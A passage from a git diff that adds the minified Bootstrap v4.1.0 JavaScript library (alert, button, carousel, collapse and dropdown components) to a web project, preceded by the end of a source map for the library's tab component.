pB;EACA,UAAM1d,WAAWzC,KAAKuC,sBAAL,CAA4B,KAAKqD,QAAjC,CAAjB;;EAEA,UAAIwd,WAAJ,EAAiB;EACf,YAAMC,eAAeD,YAAYE,QAAZ,KAAyB,IAAzB,GAAgCpe,SAAS+d,SAAzC,GAAqD/d,SAASuC,MAAnF;EACA0b,mBAAWljB,KAAE0M,SAAF,CAAY1M,KAAEmjB,WAAF,EAAexgB,IAAf,CAAoBygB,YAApB,CAAZ,CAAX;EACAF,mBAAWA,SAASA,SAAStgB,MAAT,GAAkB,CAA3B,CAAX;EACD;;EAED,UAAMqT,YAAYjW,KAAEmF,KAAF,CAAQA,MAAM0J,IAAd,EAAoB;EACpCzB,uBAAe,KAAKzH;EADgB,OAApB,CAAlB;EAIA,UAAM6O,YAAYxU,KAAEmF,KAAF,CAAQA,MAAMO,IAAd,EAAoB;EACpC0H,uBAAe8V;EADqB,OAApB,CAAlB;;EAIA,UAAIA,QAAJ,EAAc;EACZljB,aAAEkjB,QAAF,EAAY5f,OAAZ,CAAoB2S,SAApB;EACD;;EAEDjW,WAAE,KAAK2F,QAAP,EAAiBrC,OAAjB,CAAyBkR,SAAzB;;EAEA,UAAIA,UAAUvO,kBAAV,MACDgQ,UAAUhQ,kBAAV,EADH,EACmC;EACjC;EACD;;EAED,UAAIzD,QAAJ,EAAc;EACZzB,iBAASf,KAAEwC,QAAF,EAAY,CAAZ,CAAT;EACD;;EAED,WAAK+f,SAAL,CACE,KAAK5c,QADP,EAEEwd,WAFF;;EAKA,UAAMtS,WAAW,SAAXA,QAAW,GAAM;EACrB,YAAMyS,cAActjB,KAAEmF,KAAF,CAAQA,MAAM2J,MAAd,EAAsB;EACxC1B,yBAAe,MAAKzH;EADoB,SAAtB,CAApB;EAIA,YAAMkT,aAAa7Y,KAAEmF,KAAF,CAAQA,MAAMyJ,KAAd,EAAqB;EACtCxB,yBAAe8V;EADuB,SAArB,CAAnB;EAIAljB,aAAEkjB,QAAF,EAAY5f,OAAZ,CAAoBggB,WAApB;EACAtjB,aAAE,MAAK2F,QAAP,EAAiBrC,OAAjB,CAAyBuV,UAAzB;EACD,OAXD;;EAaA,UAAI9X,MAAJ,EAAY;EACV,aAAKwhB,SAAL,CAAexhB,MAAf,EAAuBA,OAAOmV,UAA9B,EAA0CrF,QAA1C;EACD,OAFD,MAEO;EACLA;EACD;EACF,KA5He;;EAAA,WA8HhB1K,OA9HgB,sBA8HN;EACRnG,WAAEoG,UAAF,CAAa,KAAKT,QAAlB,EAA4Bd,QAA5B;EACA,WAAKc,QAAL,GAAgB,IAAhB;EACD,KAjIe;;;EAAA,WAqIhB4c,SArIgB,sBAqINhgB,OArIM,EAqIGiZ,SArIH,EAqIcrC,QArId,EAqIwB;EAAA;;EACtC,UAAIoK,cAAJ;;EACA,UAAI/H,UAAU6H,QAAV,KAAuB,IAA3B,EAAiC;EAC/BE,yBAAiBvjB,KAAEwb,SAAF,EAAa7Y,IAAb,CAAkBsC,SAAS+d,SAA3B,CAAjB;EACD,OAFD,MAEO;EACLO,yBAAiBvjB,KAAEwb,SAAF,EAAa5N,QAAb,CAAsB3I,SAASuC,MAA/B,CAAjB;EACD;;EAED,UAAMgc,SAASD,eAAe,CAAf,CAAf;EACA,UAAMpS,kBAAkBgI,YACrBqK,UAAUxjB,KAAEwjB,MAAF,EAAU/c,QAAV,CAAmBlB,UAAUE,IAA7B,CADb;;EAGA,UAAMoL,WAAW,SAAXA,QAAW;EAAA,eAAM,OAAK4S,mBAAL,CACrBlhB,OADqB,EAErBihB,MAFqB,EAGrBrK,QAHqB,CAAN;EAAA,OAAjB;;EAMA,UAAIqK,UAAUrS,eAAd,EAA+B;EAC7B,YAAMpO,qBAAqBhD,KAAK+C,gCAAL,CAAsC0gB,MAAtC,CAA3B;EAEAxjB,aAAEwjB,MAAF,EACG/hB,GADH,CACO1B,KAAKE,cADZ,EAC4B4Q,QAD5B,EAEG/O,oBAFH,CAEwBiB,kBAFxB;EAGD,OAND,MAMO;EACL8N;EACD;EACF,KAhKe;;EAAA,WAkKhB4S,mBAlKgB,gCAkKIlhB,OAlKJ,EAkKaihB,MAlKb,EAkKqBrK,QAlKrB,EAkK+B;EAC7C,UAAIqK,MAAJ,EAAY;EACVxjB,aAAEwjB,MAAF,EAAUhd,WAAV,CAAyBjB,UAAUG,IAAnC,SAA2CH,UAAUiC,MAArD;EAEA,YAAMkc,gBAAgB1jB,KAAEwjB,OAAOtN,UAAT,EAAqBvT,IAArB,CACpBsC,SAASge,qBADW,EAEpB,CAFoB,CAAtB;;EAIA,YAAIS,aAAJ,EAAmB;EACjB1jB,eAAE0jB,aAAF,EAAiBld,WAAjB,CAA6BjB,UAAUiC,MAAvC;EACD;;EAED,YAAIgc,OAAO/gB,YAAP,CAAoB,MAApB,MAAgC,KAApC,EAA2C;EACzC+gB,iBAAO9a,YAAP,CAAoB,eAApB,EAAqC,KAArC;EACD;EACF;;EAED1I,WAAEuC,OAAF,EAAWsL,QAAX,CAAoBtI,UAAUiC,MAA9B;;EACA,UAAIjF,QAAQE,YAAR,CAAqB,MAArB,MAAiC,KAArC,EAA4C;EAC1CF,gBAAQmG,YAAR,CAAqB,eAArB,EAAsC,IAAtC;EACD;;EAED3I,WAAKqD,MAAL,CAAYb,OAAZ;EACAvC,WAAEuC,OAAF,EAAWsL,QAAX,CAAoBtI,UAAUG,IAA9B;;EAEA,UAAInD,QAAQ2T,UAAR,IACAlW,KAAEuC,QAAQ2T,UAAV,EAAsBzP,QAAtB,CAA+BlB,UAAUya,aAAzC,CADJ,EAC6D;EAC3D,YAAM2D,kBAAkB3jB,KAAEuC,OAAF,EAAW+D,OAAX,CAAmBrB,SAASqb,QAA5B,EAAsC,CAAtC,CAAxB;;EACA,YAAIqD,eAAJ,EAAqB;EACnB3jB,eAAE2jB,eAAF,EAAmBhhB,IAAnB,CAAwBsC,SAASub,eAAjC,EAAkD3S,QAAlD,CAA2DtI,UAAUiC,MAArE;EACD;;EAEDjF,gBAAQmG,YAAR,CAAqB,eAArB,EAAsC,IAAtC;EACD;;EAED,UAAIyQ,QAAJ,EAAc;EACZA;EACD;EACF,KAxMe;;;EAAA,QA4MTtS,gBA5MS,6BA4MQhD,MA5MR,EA4MgB;EAC9B,aAAO,KAAKiD,IAAL,CAAU,YAAY;EAC3B,YAAM2K,QAAQzR,KAAE,IAAF,CAAd;EACA,YAAIgH,OAAOyK,MAAMzK,IAAN,CAAWnC,QAAX,CAAX;;EAEA,YAAI,CAACmC,IAAL,EAAW;EACTA,iBAAO,IAAI+b,GAAJ,CAAQ,IAAR,CAAP;EACAtR,gBAAMzK,IAAN,CAAWnC,QAAX,EAAqBmC,IAArB;EACD;;EAED,YAAI,OAAOnD,MAAP,KAAkB,QAAtB,EAAgC;EAC9B,cAAI,OAAOmD,KAAKnD,MAAL,CAAP,KAAwB,WAA5B,EAAyC;EACvC,kBAAM,IAAIyK,SAAJ,wBAAkCzK,MAAlC,QAAN;EACD;;EACDmD,eAAKnD,MAAL;EACD;EACF,OAfM,CAAP;EAgBD,KA7Ne;;EAAA;EAAA;EAAA,0BAqDK;EACnB,eAAOe,OAAP;EACD;EAvDe;;EAAA;EAAA;EAgOlB;;;;;;;EAMA5E,OAAEoC,QAAF,EACGgF,EADH,CACMjC,MAAMG,cADZ,EAC4BL,SAAS2C,WADrC,EACkD,UAAU9G,KAAV,EAAiB;EAC/DA,UAAMqG,cAAN;;EACA4b,QAAIlc,gBAAJ,CAAqBtG,IAArB,CAA0BP,KAAE,IAAF,CAA1B,EAAmC,MAAnC;EACD,GAJH;EAMA;;;;;;EAMAA,OAAE6B,EAAF,CAAK8C,IAAL,IAAaoe,IAAIlc,gBAAjB;EACA7G,OAAE6B,EAAF,CAAK8C,IAAL,EAAW0C,WAAX,GAAyB0b,GAAzB;;EACA/iB,OAAE6B,EAAF,CAAK8C,IAAL,EAAW2C,UAAX,GAAwB,YAAY;EAClCtH,SAAE6B,EAAF,CAAK8C,IAAL,IAAaK,kBAAb;EACA,WAAO+d,IAAIlc,gBAAX;EACD,GAHD;;EAKA,SAAOkc,GAAP;EACD,CA1PW,CA0PT/iB,CA1PS,CAAZ;;ECGA;;;;;;;EAOA,CAAC,UAACA,IAAD,EAAO;EACN,MAAI,OAAOA,IAAP,KAAa,WAAjB,EAA8B;EAC5B,UAAM,IAAIsO,SAAJ,CAAc,kGAAd,CAAN;EACD;;EAED,MAAMsV,UAAU5jB,KAAE6B,EAAF,CAAKwP,MAAL,CAAYlO,KAAZ,CAAkB,GAAlB,EAAuB,CAAvB,EAA0BA,KAA1B,CAAgC,GAAhC,CAAhB;EACA,MAAM0gB,WAAW,CAAjB;EACA,MAAMC,UAAU,CAAhB;EACA,MAAMC,WAAW,CAAjB;EACA,MAAMC,WAAW,CAAjB;EACA,MAAMC,WAAW,CAAjB;;EAEA,MAAIL,QAAQ,CAAR,IAAaE,OAAb,IAAwBF,QAAQ,CAAR,IAAaG,QAArC,IAAiDH,QAAQ,CAAR,MAAeC,QAAf,IAA2BD,QAAQ,CAAR,MAAeG,QAA1C,IAAsDH,QAAQ,CAAR,IAAaI,QAApH,IAAgIJ,QAAQ,CAAR,KAAcK,QAAlJ,EAA4J;EAC1J,UAAM,IAAIzf,KAAJ,CAAU,8EAAV,CAAN;EACD;EACF,CAfD,EAeGxE,CAfH;;;;;;;;;;;;;;;;;;;;;;"}
\ No newline at end of file
diff --git a/public/js/bootstrap.min.js b/public/js/bootstrap.min.js
new file mode 100644
index 0000000..eac9842
--- /dev/null
+++ b/public/js/bootstrap.min.js
@@ -0,0 +1,7 @@
+/*!
+  * Bootstrap v4.1.0 (https://getbootstrap.com/)
+  * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors)
+  * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+  */
+!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,c){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function o(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function h(r){for(var t=1;t<arguments.length;t++){var s=null!=arguments[t]?arguments[t]:{},e=Object.keys(s);"function"==typeof Object.getOwnPropertySymbols&&(e=e.concat(Object.getOwnPropertySymbols(s).filter(function(t){return Object.getOwnPropertyDescriptor(s,t).enumerable}))),e.forEach(function(t){var e,n,i;e=r,i=s[n=t],n in e?Object.defineProperty(e,n,{value:i,enumerable:!0,configurable:!0,writable:!0}):e[n]=i})}return r}e=e&&e.hasOwnProperty("default")?e.default:e,c=c&&c.hasOwnProperty("default")?c.default:c;var r,n,s,a,l,u,f,d,_,g,m,p,v,E,y,T,C,I,A,D,b,S,w,N,O,k,P,L,j,R,H,W,M,x,U,K,F,V,Q,B,Y,G,q,z,X,J,Z,$,tt,et,nt,it,rt,st,ot,at,lt,ht,ct,ut,ft,dt,_t,gt,mt,pt,vt,Et,yt,Tt,Ct,It,At,Dt,bt,St,wt,Nt,Ot,kt,Pt,Lt,jt,Rt,Ht,Wt,Mt,xt,Ut,Kt,Ft,Vt,Qt,Bt,Yt,Gt,qt,zt,Xt,Jt,Zt,$t,te,ee,ne,ie,re,se,oe,ae,le,he,ce,ue,fe,de,_e,ge,me,pe,ve,Ee,ye,Te,Ce,Ie,Ae,De,be,Se,we,Ne,Oe,ke,Pe,Le,je,Re,He,We,Me,xe,Ue,Ke,Fe,Ve,Qe,Be,Ye,Ge,qe,ze,Xe,Je,Ze,$e,tn,en,nn,rn,sn,on,an,ln,hn,cn,un,fn,dn,_n,gn,mn,pn,vn,En,yn,Tn,Cn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n||l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;t+=~~(1e6*Math.random()),document.getElementById(t););return t},getSelectorFromElement:function(t){var e=t.getAttribute("data-target");e&&"#"!==e||(e=t.getAttribute("href")||"");try{return 0<i(document).find(e).length?e:null}catch(t){return null}},getTransitionDurationFromElement:function(t){if(!t)return 0;var e=i(t).css("transition-duration");return parseFloat(e)?(e=e.split(",")[0],1e3*parseFloat(e)):0},reflow:function(t){return t.offsetHeight},triggerTransitionEnd:function(t){i(t).trigger(e)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]||t).nodeType},typeCheckConfig:function(t,e,n){for(var i in n)if(Object.prototype.hasOwnProperty.call(n,i)){var r=n[i],s=e[i],o=s&&l.isElement(s)?"element":(a=s,{}.toString.call(a).match(/\s([a-z]+)/i)[1].toLowerCase());if(!new RegExp(r).test(o))throw new Error(t.toUpperCase()+': Option "'+i+'" provided type "'+o+'" but expected type "'+r+'".')}var a}};return i.fn.emulateTransitionEnd=t,i.event.special[l.TRANSITION_END]={bindType:e,delegateType:e,handle:function(t){if(i(t.target).is(this))return t.handleObj.handler.apply(this,arguments)}},l}(e),In=(n="alert",a="."+(s="bs.alert"),l=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",_="show",g=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function(t){t=t||this._element;var e=this._getRootElement(t);this._triggerCloseEvent(e).isDefaultPrevented()||this._removeElement(e)},t.dispose=function(){r.removeData(this._element,s),this._element=null},t._getRootElement=function(t){var e=Cn.getSelectorFromElement(t),n=!1;return e&&(n=r(e)[0]),n||(n=r(t).closest("."+f)[0]),n},t._triggerCloseEvent=function(t){var e=r.Event(u.CLOSE);return r(t).trigger(e),e},t._removeElement=function(e){var n=this;if(r(e).removeClass(_),r(e).hasClass(d)){var t=Cn.getTransitionDurationFromElement(e);r(e).one(Cn.TRANSITION_END,function(t){return n._destroyElement(e,t)}).emulateTransitionEnd(t)}else this._destroyElement(e)},t._destroyElement=function(t){r(t).detach().trigger(u.CLOSED).remove()},i._jQueryInterface=function(n){return this.each(function(){var t=r(this),e=t.data(s);e||(e=new i(this),t.data(s,e)),"close"===n&&e[n](this)})},i._handleDismiss=function(e){return function(t){t&&t.preventDefault(),e.close(this)}},o(i,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),i}(),r(document).on(u.CLICK_DATA_API,'[data-dismiss="alert"]',g._handleDismiss(new g)),r.fn[n]=g._jQueryInterface,r.fn[n].Constructor=g,r.fn[n].noConflict=function(){return r.fn[n]=l,g._jQueryInterface},g),An=(p="button",E="."+(v="bs.button"),y=".data-api",T=(m=e).fn[p],C="active",I="btn",D='[data-toggle^="button"]',b='[data-toggle="buttons"]',S="input",w=".active",N=".btn",O={CLICK_DATA_API:"click"+E+y,FOCUS_BLUR_DATA_API:(A="focus")+E+y+" blur"+E+y},k=function(){function n(t){this._element=t}var t=n.prototype;return t.toggle=function(){var t=!0,e=!0,n=m(this._element).closest(b)[0];if(n){var i=m(this._element).find(S)[0];if(i){if("radio"===i.type)if(i.checked&&m(this._element).hasClass(C))t=!1;else{var r=m(n).find(w)[0];r&&m(r).removeClass(C)}if(t){if(i.hasAttribute("disabled")||n.hasAttribute("disabled")||i.classList.contains("disabled")||n.classList.contains("disabled"))return;i.checked=!m(this._element).hasClass(C),m(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria-pressed",!m(this._element).hasClass(C)),t&&m(this._element).toggleClass(C)},t.dispose=function(){m.removeData(this._element,v),this._element=null},n._jQueryInterface=function(e){return this.each(function(){var t=m(this).data(v);t||(t=new n(this),m(this).data(v,t)),"toggle"===e&&t[e]()})},o(n,null,[{key:"VERSION",get:function(){return"4.1.0"}}]),n}(),m(document).on(O.CLICK_DATA_API,D,function(t){t.preventDefault();var e=t.target;m(e).hasClass(I)||(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,D,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(A,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].Constructor=k,m.fn[p].noConflict=function(){return m.fn[p]=T,k._jQueryInterface},k),Dn=(L="carousel",R="."+(j="bs.carousel"),H=".data-api",W=(P=e).fn[L],M={interval:5e3,keyboard:!0,slide:!1,pause:"hover",wrap:!0},x={interval:"(number|boolean)",keyboard:"boolean",slide:"(boolean|string)",pause:"(string|boolean)",wrap:"boolean"},U="next",K="prev",F="left",V="right",Q={SLIDE:"slide"+R,SLID:"slid"+R,KEYDOWN:"keydown"+R,MOUSEENTER:"mouseenter"+R,MOUSELEAVE:"mouseleave"+R,TOUCHEND:"touchend"+R,LOAD_DATA_API:"load"+R+H,CLICK_DATA_API:"click"+R+H},B="carousel",Y="active",G="slide",q="carousel-item-right",z="carousel-item-left",X="carousel-item-next",J="carousel-item-prev",Z={ACTIVE:".active",ACTIVE_ITEM:".active.carousel-item",ITEM:".carousel-item",NEXT_PREV:".carousel-item-next, .carousel-item-prev",INDICATORS:".carousel-indicators",DATA_SLIDE:"[data-slide], [data-slide-to]",DATA_RIDE:'[data-ride="carousel"]'},$=function(){function s(t,e){this._items=null,this._interval=null,this._activeElement=null,this._isPaused=!1,this._isSliding=!1,this.touchTimeout=null,this._config=this._getConfig(e),this._element=P(t)[0],this._indicatorsElement=P(this._element).find(Z.INDICATORS)[0],this._addEventListeners()}var t=s.prototype;return t.next=function(){this._isSliding||this._slide(U)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},t.prev=function(){this._isSliding||this._slide(K)},t.pause=function(t){t||(this._isPaused=!0),P(this._element).find(Z.NEXT_PREV)[0]&&(Cn.triggerTransitionEnd(this._element),this.cycle(!0)),clearInterval(this._interval),this._interval=null},t.cycle=function(t){t||(this._isPaused=!1),this._interval&&(clearInterval(this._interval),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},t.to=function(t){var e=this;this._activeElement=P(this._element).find(Z.ACTIVE_ITEM)[0];var n=this._getItemIndex(this._activeElement);if(!(t>this._items.length-1||t<0))if(this._isSliding)P(this._element).one(Q.SLID,function(){return e.to(t)});else{if(n===t)return this.pause(),void this.cycle();var i=n<t?U:K;this._slide(i,this._items[t])}},t.dispose=function(){P(this._element).off(R),P.removeData(this._element,j),this._items=null,this._config=null,this._element=null,this._interval=null,this._isPaused=null,this._isSliding=null,this._activeElement=null,this._indicatorsElement=null},t._getConfig=function(t){return t=h({},M,t),Cn.typeCheckConfig(L,t,x),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){return e.pause(t)}).on(Q.MOUSELEAVE,function(t){return e.cycle(t)}),"ontouchstart"in document.documentElement&&P(this._element).on(Q.TOUCHEND,function(){e.pause(),e.touchTimeout&&clearTimeout(e.touchTimeout),e.touchTimeout=setTimeout(function(t){return e.cycle(t)},500+e._config.interval)}))},t._keydown=function(t){if(!/input|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},t._getItemIndex=function(t){return this._items=P.makeArray(P(t).parent().find(Z.ITEM)),this._items.indexOf(t)},t._getItemByDirection=function(t,e){var n=t===U,i=t===K,r=this._getItemIndex(e),s=this._items.length-1;if((i&&0===r||n&&r===s)&&!this._config.wrap)return e;var o=(r+(t===K?-1:1))%this._items.length;return-1===o?this._items[this._items.length-1]:this._items[o]},t._triggerSlideEvent=function(t,e){var n=this._getItemIndex(t),i=this._getItemIndex(P(this._element).find(Z.ACTIVE_ITEM)[0]),r=P.Event(Q.SLIDE,{relatedTarget:t,direction:e,from:i,to:n});return P(this._element).trigger(r),r},t._setActiveIndicatorElement=function(t){if(this._indicatorsElement){P(this._indicatorsElement).find(Z.ACTIVE).removeClass(Y);var e=this._indicatorsElement.children[this._getItemIndex(t)];e&&P(e).addClass(Y)}},t._slide=function(t,e){var n,i,r,s=this,o=P(this._element).find(Z.ACTIVE_ITEM)[0],a=this._getItemIndex(o),l=e||o&&this._getItemByDirection(t,o),h=this._getItemIndex(l),c=Boolean(this._interval);if(t===U?(n=z,i=X,r=F):(n=q,i=J,r=V),l&&P(l).hasClass(Y))this._isSliding=!1;else if(!this._triggerSlideEvent(l,r).isDefaultPrevented()&&o&&l){this._isSliding=!0,c&&this.pause(),this._setActiveIndicatorElement(l);var u=P.Event(Q.SLID,{relatedTarget:l,direction:r,from:a,to:h});if(P(this._element).hasClass(G)){P(l).addClass(i),Cn.reflow(l),P(o).addClass(n),P(l).addClass(n);var f=Cn.getTransitionDurationFromElement(o);P(o).one(Cn.TRANSITION_END,function(){P(l).removeClass(n+" "+i).addClass(Y),P(o).removeClass(Y+" "+i+" "+n),s._isSliding=!1,setTimeout(function(){return P(s._element).trigger(u)},0)}).emulateTransitionEnd(f)}else P(o).removeClass(Y),P(l).addClass(Y),this._isSliding=!1,P(this._element).trigger(u);c&&this.cycle()}},s._jQueryInterface=function(i){return this.each(function(){var t=P(this).data(j),e=h({},M,P(this).data());"object"==typeof i&&(e=h({},e,i));var n="string"==typeof i?i:e.slide;if(t||(t=new s(this,e),P(this).data(j,t)),"number"==typeof i)t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},s._dataApiClickHandler=function(t){var e=Cn.getSelectorFromElement(this);if(e){var n=P(e)[0];if(n&&P(n).hasClass(B)){var i=h({},P(n).data(),P(this).data()),r=this.getAttribute("data-slide-to");r&&(i.interval=!1),s._jQueryInterface.call(P(n),i),r&&P(n).data(j).to(r),t.preventDefault()}}},o(s,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return M}}]),s}(),P(document).on(Q.CLICK_DATA_API,Z.DATA_SLIDE,$._dataApiClickHandler),P(window).on(Q.LOAD_DATA_API,function(){P(Z.DATA_RIDE).each(function(){var t=P(this);$._jQueryInterface.call(t,t.data())})}),P.fn[L]=$._jQueryInterface,P.fn[L].Constructor=$,P.fn[L].noConflict=function(){return P.fn[L]=W,$._jQueryInterface},$),bn=(et="collapse",it="."+(nt="bs.collapse"),rt=(tt=e).fn[et],st={toggle:!0,parent:""},ot={toggle:"boolean",parent:"(string|element)"},at={SHOW:"show"+it,SHOWN:"shown"+it,HIDE:"hide"+it,HIDDEN:"hidden"+it,CLICK_DATA_API:"click"+it+".data-api"},lt="show",ht="collapse",ct="collapsing",ut="collapsed",ft="width",dt="height",_t={ACTIVES:".show, .collapsing",DATA_TOGGLE:'[data-toggle="collapse"]'},gt=function(){function a(t,e){this._isTransitioning=!1,this._element=t,this._config=this._getConfig(e),this._triggerArray=tt.makeArray(tt('[data-toggle="collapse"][href="#'+t.id+'"],[data-toggle="collapse"][data-target="#'+t.id+'"]'));for(var n=tt(_t.DATA_TOGGLE),i=0;i<n.length;i++){var r=n[i],s=Cn.getSelectorFromElement(r);null!==s&&0<tt(s).filter(t).length&&(this._selector=s,this._triggerArray.push(r))}this._parent=this._config.parent?this._getParent():null,this._config.parent||this._addAriaAndCollapsedClass(this._element,this._triggerArray),this._config.toggle&&this.toggle()}var t=a.prototype;return t.toggle=function(){tt(this._element).hasClass(lt)?this.hide():this.show()},t.show=function(){var t,e,n=this;if(!this._isTransitioning&&!tt(this._element).hasClass(lt)&&(this._parent&&0===(t=tt.makeArray(tt(this._parent).find(_t.ACTIVES).filter('[data-parent="'+this._config.parent+'"]'))).length&&(t=null),!(t&&(e=tt(t).not(this._selector).data(nt))&&e._isTransitioning))){var i=tt.Event(at.SHOW);if(tt(this._element).trigger(i),!i.isDefaultPrevented()){t&&(a._jQueryInterface.call(tt(t).not(this._selector),"hide"),e||tt(t).data(nt,null));var r=this._getDimension();tt(this._element).removeClass(ht).addClass(ct),(this._element.style[r]=0)<this._triggerArray.length&&tt(this._triggerArray).removeClass(ut).attr("aria-expanded",!0),this.setTransitioning(!0);var s="scroll"+(r[0].toUpperCase()+r.slice(1)),o=Cn.getTransitionDurationFromElement(this._element);tt(this._element).one(Cn.TRANSITION_END,function(){tt(n._element).removeClass(ct).addClass(ht).addClass(lt),n._element.style[r]="",n.setTransitioning(!1),tt(n._element).trigger(at.SHOWN)}).emulateTransitionEnd(o),this._element.style[r]=this._element[s]+"px"}}},t.hide=function(){var t=this;if(!this._isTransitioning&&tt(this._element).hasClass(lt)){var e=tt.Event(at.HIDE);if(tt(this._element).trigger(e),!e.isDefaultPrevented()){var n=this._getDimension();if(this._element.style[n]=this._element.getBoundingClientRect()[n]+"px",Cn.reflow(this._element),tt(this._element).addClass(ct).removeClass(ht).removeClass(lt),0<this._triggerArray.length)for(var i=0;i<this._triggerArray.length;i++){var r=this._triggerArray[i],s=Cn.getSelectorFromElement(r);if(null!==s)tt(s).hasClass(lt)||tt(r).addClass(ut).attr("aria-expanded",!1)}this.setTransitioning(!0);this._element.style[n]="";var o=Cn.getTransitionDurationFromElement(this._element);tt(this._element).one(Cn.TRANSITION_END,function(){t.setTransitioning(!1),tt(t._element).removeClass(ct).addClass(ht).trigger(at.HIDDEN)}).emulateTransitionEnd(o)}}},t.setTransitioning=function(t){this._isTransitioning=t},t.dispose=function(){tt.removeData(this._element,nt),this._config=null,this._parent=null,this._element=null,this._triggerArray=null,this._isTransitioning=null},t._getConfig=function(t){return(t=h({},st,t)).toggle=Boolean(t.toggle),Cn.typeCheckConfig(et,t,ot),t},t._getDimension=function(){return tt(this._element).hasClass(ft)?ft:dt},t._getParent=function(){var n=this,t=null;Cn.isElement(this._config.parent)?(t=this._config.parent,"undefined"!=typeof this._config.parent.jquery&&(t=this._config.parent[0])):t=tt(this._config.parent)[0];var e='[data-toggle="collapse"][data-parent="'+this._config.parent+'"]';return tt(t).find(e).each(function(t,e){n._addAriaAndCollapsedClass(a._getTargetFromElement(e),[e])}),t},t._addAriaAndCollapsedClass=function(t,e){if(t){var n=tt(t).hasClass(lt);0<e.length&&tt(e).toggleClass(ut,!n).attr("aria-expanded",n)}},a._getTargetFromElement=function(t){var e=Cn.getSelectorFromElement(t);return e?tt(e)[0]:null},a._jQueryInterface=function(i){return this.each(function(){var t=tt(this),e=t.data(nt),n=h({},st,t.data(),"object"==typeof i&&i);if(!e&&n.toggle&&/show|hide/.test(i)&&(n.toggle=!1),e||(e=new a(this,n),t.data(nt,e)),"string"==typeof i){if("undefined"==typeof e[i])throw new TypeError('No method named "'+i+'"');e[i]()}})},o(a,null,[{key:"VERSION",get:function(){return"4.1.0"}},{key:"Default",get:function(){return st}}]),a}(),tt(document).on(at.CLICK_DATA_API,_t.DATA_TOGGLE,function(t){"A"===t.currentTarget.tagName&&t.preventDefault();var n=tt(this),e=Cn.getSelectorFromElement(this);tt(e).each(function(){var t=tt(this),e=t.data(nt)?"toggle":n.data();gt._jQueryInterface.call(t,e)})}),tt.fn[et]=gt._jQueryInterface,tt.fn[et].Constructor=gt,tt.fn[et].noConflict=function(){return tt.fn[et]=rt,gt._jQueryInterface},gt),Sn=(pt="dropdown",Et="."+(vt="bs.dropdown"),yt=".data-api",Tt=(mt=e).fn[pt],Ct=new RegExp("38|40|27"),It={HIDE:"hide"+Et,HIDDEN:"hidden"+Et,SHOW:"show"+Et,SHOWN:"shown"+Et,CLICK:"click"+Et,CLICK_DATA_API:"click"+Et+yt,KEYDOWN_DATA_API:"keydown"+Et+yt,KEYUP_DATA_API:"keyup"+Et+yt},At="disabled",Dt="show",bt="dropup",St="dropright",wt="dropleft",Nt="dropdown-menu-right",Ot="position-static",kt='[data-toggle="dropdown"]',Pt=".dropdown form",Lt=".dropdown-menu",jt=".navbar-nav",Rt=".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",Ht="top-start",Wt="top-end",Mt="bottom-start",xt="bottom-end",Ut="right-start",Kt="left-start",Ft={offset:0,flip:!0,boundary:"scrollParent",reference:"toggle",display:"dynamic"},Vt={offset:"(number|string|function)",flip:"boolean",boundary:"(string|element)",reference:"(string|element)",display:"string"},Qt=function(){function l(t,e){this._element=t,this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var t=l.prototype;return t.toggle=function(){if(!this._element.disabled&&!mt(this._element).hasClass(At)){var t=l._getParentFromElement(this._element),e=mt(this._menu).hasClass(Dt);if(l._clearMenus(),!e){var n={relatedTarget:this._element},i=mt.Event(It.SHOW,n);if(mt(t).trigger(i),!i.isDefaultPrevented()){if(!this._inNavbar){if("undefined"==typeof c)throw new TypeError("Bootstrap dropdown require Popper.js (https://popper.js.org)");var r=this._element;"parent"===this._config.reference?r=t:Cn.isElement(this._config.reference)&&(r=this._config.reference,"undefined"!=typeof this._config.reference.jquery&&(r=this._config.reference[0])),"scrollParent"!==this._config.boundary&&mt(t).addClass(Ot),this._popper=new c(r,this._menu,this._getPopperConfig())}"ontouchstart"in 